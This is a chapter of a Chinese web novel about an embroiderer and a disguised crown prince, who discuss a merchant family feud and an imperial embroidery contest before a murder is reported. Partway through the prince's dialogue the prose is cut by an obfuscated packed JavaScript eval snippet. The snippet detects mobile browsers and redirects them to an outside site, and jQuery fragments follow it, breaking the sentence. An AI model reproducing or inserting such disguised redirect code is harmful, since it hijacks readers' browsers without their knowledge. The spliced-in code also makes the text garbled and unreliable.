5. 喝茶聊天

作品:《乱针绣出个太子夫君

    因为情绪激动,兰絮再也掩不住那阵咳嗽,咳了好半晌才将自己从手帕后挪开。她淡淡扫了眼掌中异色,悄无声息地将那片血红攥进拳头里。


    罗瑗窘迫得脖子一缩,嘴上却还辩驳着:“你胡说八道!说媒之事怎会是我能定夺的。若是楼卿不亲自应下,罗府派再多媒人过去也只是竹篮打水一场空。”


    “自然,罗大人致仕,对于楼府来说是莫大的机会。”兰絮无力地扯了扯嘴角,“我亦主动退让一步,你还想要从我身上讨什么?”


    舒巧巧从一来一回的争吵中终于推断出了事情的原委,这才知道原来几人之间关系如此复杂。


    兰絮退让的态度让罗瑗心情大好,她挺着胸脯从管家身后走出来,轻蔑地扫了眼这破败寂寥的院落,语气十分傲慢地说道:“嘁,这府邸院落如此寒酸,楼卿又怎会瞧得上。”


    “你什么意思?”兰絮双唇紧抿,死死盯着缓慢靠近的罗瑗。


    舒巧巧伸手拦住罗瑗的去路:“既嫌院落寒酸,还要步步进入,目露殷切之色,不如让兰小姐与罗千金交换府邸?”


    舒巧巧说话语气十分中庸,既不生气,亦无不屑。


    只是罗瑗听着却不自觉地咯噔了一下。她轻咳一声退后两步,“什么意思?今早我照常上楼府游玩,却听闻楼卿昨夜一夜未归,仆人告知我他上了马车一路南去,方向竟是果云镇这破落小镇。”


    “所以呢?你认为楼卿昨夜是来找我?”兰絮呵笑一声,“还当罗小姐与楼公子情真意切、互诉衷肠,原来竟是连对方去向何处都得由仆人告知的陌生关系。”


    “兰絮!你休得无礼!”


    纠纷的矛盾中心赫然登场。


    楼卿行色匆匆跑至罗瑗面前,健壮身躯直直挡住了兰絮和罗瑗对视的视线。


    兰絮紧咬着下唇,眼眶微红看向楼卿。只有颤抖着的拳头在无声诉说着自己的委屈。


    一时之间几人相对无言。


    遂进这时才像老大爷散步一般施施然出现在其后,他朝着舒巧巧侧头一笑,“都说清官难断家务事。舒绣娘,上次在罗大人府上说要请本公子吃饭的事,可还作数?”


    舒巧巧担忧地看了一眼兰絮,最终也只能应承下来,和遂进一并离开了兰府。


    雅静的茶坊里,丝竹之音呦呦漂浮半空。偏僻安静的一隅隔间,镂空雕花窗户大开,只需稍微侧身就能看见人来人往的街道。


    舒巧巧淡淡啜了一口热茶,茶香扑鼻,萦绕呼吸之间。


    “没想到兰府之事竟也与殿下稍有联系。”


    “路过罢了。”


    舒巧巧睨了遂进一眼,心中感慨这人果然跟传闻一样,喜欢四处微服出访。用现代人的话来说,怕不就是妥妥的街溜子。


    毫不掩饰自己身份的高贵,还顶着如此显眼的“遂”姓浪荡街头,却又十分反感别人认出他的太子身份。


    舒巧巧是有点不懂了。


    “罗瑗当真抢占了兰家千金的婚事?”


    遂进沉吟片刻,替舒巧巧添了茶水。


    “可说是,亦可说不是。”


    “为何?”


    “舒绣娘做千金时,当真是足不出户。”


    “……”


    舒丞相虽为一国之丞相,但想要更加站稳脚跟,终究是要背靠更稳固的势力。此时诞下时日只与千金差别几日的三太子遂进,便成为了舒丞相想要通获的捷径。


    因此原身自学会走路起,每一天都被缜密安排了该学习的东西。琴棋书画、四书五经轮番上阵。唯独切实发生的朝廷之事、政商变化,通通不可得知。


    原身被彻底塑造成了只需安分守己、服侍夫君的贤妻模子。


    任何仆人能做的事情,舒丞相都不允许原身接触,只为将来能顺利送她进皇宫成妃。


    自然而然,原身对外界的事情便知之甚少。


    若是遂进知道舒丞相对他有此谋算,不知还能不能如此心平气和地和舒巧巧同坐一桌聊着天。


    “你可知兰家是因何起家?”


    “听孙婆婆提起过,是盐商为业。”


    “不错。盐商从中能赚的差价巨大无比,曾经兰府也因此风光一时。只是罗大人致仕前,与另外同样走盐商但未有起色的秦家结了谋,要将兰家的盐商线路夺占过去。”


    结果显而易见,拿到手了。


    “那现下岂不是两线都握在一个人手里?如此大的事情,朝廷不管?”


    “只事因秦家出了个驸马爷。”


    舒巧巧轻叹一口气,原来最终是要落回朝廷自己手里,怪不得遂进知道得如此清楚。


    “所以楼家趋炎附势,便抛弃原本与兰家的婚约,转头投靠罗家?”


    “我相信兰絮要舒绣娘订制的红嫁衣,也不过是想要最后再赌一把,试着能否以一点情分挽留楼公子。”


    “楼家有助兰家起死回生的能力?”


    “自然,楼家老爷子镖师出身,名震四方,势力广泛,任何人都想巴结一番。”


    舒巧巧发自内心地想说:贵圈真乱。


    走商的想靠拢走镖的,走镖的想接近朝廷的,再顺带帮助朝廷的夺走一部分走商的。


    这般循环往复争夺那一张饼,只怕最后争个稀碎,谁都吃不上。


    她看向遂进那双墨色的双眼,突然轻笑出声:“殿下与楼公子关系匪浅。”


    像是怕舒巧巧误会他们“物以类聚、人以群分”,遂进赶紧开口解释道:“非也。本公子只是恰好与楼家两位公子在乔罗镇碰面,得知都要前往果云镇才同行一段路。”


    “果云镇贫穷落后,毫无观赏雅地,殿下前来是为何?”


    遂进却不直接回答,转而问道:“皇宫一年一度举行的刺绣大赛,舒绣娘意欲如何?”


    “不如何。”


    “若是舒绣娘想参加,本公子可透露一二大赛的事情。”


    舒巧巧环视了下四周,再次看向遂进:“遂公子该不会是习惯了这种舞弊的生活方式吧?”


    “…………”


    “还是说遂公子对民女的技术没有丝毫信心?”


    “自然不是。”


    遂进在罗府亲眼所见舒巧巧如何在一夜之间补救了那幅五尺长的屏风,毫不掩盖原本绣作的风采,反而让其锦上添花、更加夺目。


    单凭这技术,舒巧巧是毫无悬念可以顺利进入宫廷的赛事中的。


    “只是本公子在想,若是其余参赛人等都知晓参赛资格和要求、比赛时长、赛中命题,而舒绣娘却全然不知,是不是对舒绣娘有些不公平?”


    舒巧巧内心一阵无语,好半晌才挤出一句:“……请讲。”


    遂进啜下一口清茶,缓缓道来:“刺绣大赛层层递进,由最初的镇赛选拔出三位获得评判官员青睐的绣娘,上至州县比赛,再选拔出六位绣娘晋至郡都,最终由郡都的赛事中选得十位绣娘进入宫中比赛,最后从宫中脱颖而出的,只会有一位绣娘。


    “镇级由镇与镇之间的官员交互定题,其余皆由所在地方官定下,而最后进入宫中的大赛


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15584403|171665||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    则由皇后娘娘命题。镇级的比赛需绣娘在两个时辰内完成绣品,逾时的绣娘视为失败。”


    舒巧巧听完这极其详尽、恨不得能从盘古开天地开始讲起的比赛规则后,不自觉地感慨了一句:“殿下真是善心大发。”


    “…………”


    “民女当真以为殿下要透露选题出来。”


    “此次果云镇的赛事由乔罗镇的楼家命题。楼家老爷子懒于应付此事,便交托给了楼大公子。”


    “楼卿可就是楼二公子?”


    “舒绣娘自是聪慧。”


    “救命啊!死人啦!”


    街道突然传来一声尖叫,行人纷纷被吓得往两边躲闪,一时之间推推嚷嚷、纷乱非常。


    舒巧巧侧身从窗户上探头望去,只见一女子惊慌失措,手脚有些不受控制地踉跄着。


    她极力眯起双眼看清那人影,正想将疑惑道出时,遂进的声音从自己头顶响来:“这似乎是兰家千金身旁那个丫鬟。”


    身后传来的淡淡幽香充斥着舒巧巧的呼吸道,让她脑中轰然一炸,思维顿时停止,全身僵硬在那不敢动。


    “舒绣娘要去看看么?”


    舒巧巧轻咳一声,装作极其自然地转身走出隔间:“走吧。”


    两人刚踏出茶坊,那丫鬟就跑到了他们跟前。舒巧巧一把扶住了她:“怎么一回事?你家小姐呢?”


    “小姐……小姐和那罗千金一同前往了一个小破屋,但是小姐不让奴婢进去!奴婢在屋外等了许久,等到天黑之时小姐还未出来,奴婢便去敲那门,但没有得到一点回应,便斗着胆子推开了门,岂料……岂料那罗千金竟死不瞑目了!”


    舒巧巧瞳孔猛地一缩,“那兰絮呢?”


    “小姐不知所踪!奴婢找不到她!只能来求助舒绣娘和遂公子!兰府现如今已经完全放弃小姐,必然不会遣人去寻,求求你们……帮帮奴婢!”


    “带我去那小破屋!”


    然而舒巧巧刚准备跟着那丫鬟过去,遂进一把将她扯回到自己身边,再开口全然没有刚才和舒巧巧对话时的温柔。


    “先去衙门报官,失踪与命案同时发生,不是我们两个普通人可以先行应付的。”


    舒巧巧虽不赞成遂进话里的“普通人”三字,却也反应过来方才是自己冲动了。


    对于并不知根知底的纠纷,轻易涉身只怕将自己也卷进危险之中。


    “还愣着干什么?”遂进冷冷看向呆站在那的丫鬟,语气十分不善。


    丫鬟双眼一眨,硕大的泪珠夺眶而出。


    舒巧巧一看顿觉有些不妙。


    果然那丫鬟下一秒就放声大嚎起来:“是你这绣娘杀的小姐!如果不是你,我家小姐根本就不会和那罗千金有任何纠缠,都是你!”


    一通嚎叫引得街上行人纷纷侧目看向她们。


    果云镇并不大。


    因为兰家已经放任兰絮的生死,因此兰絮大小事都由这丫鬟负责,镇上的人基本都识得这丫鬟。


    相反,舒巧巧才刚来这镇不久,除了原身的丫鬟小秋和孙婆婆知道自己的存在之外,并没有多少人认识她。


    再此对比之下,镇上的人自然而然就更相信兰家丫鬟的说辞了。


    行人看向舒巧巧的眼神都露着凶光,只差要扑上前来质问。


    遂进不动声色地将舒巧巧藏在自己身后,遮挡住众人的目光,沉声开口质问道:“为何你对你家小姐的生死毫不关心,只想要将罪名定于谁身上?难道兰絮的死,其实是你造成的么?”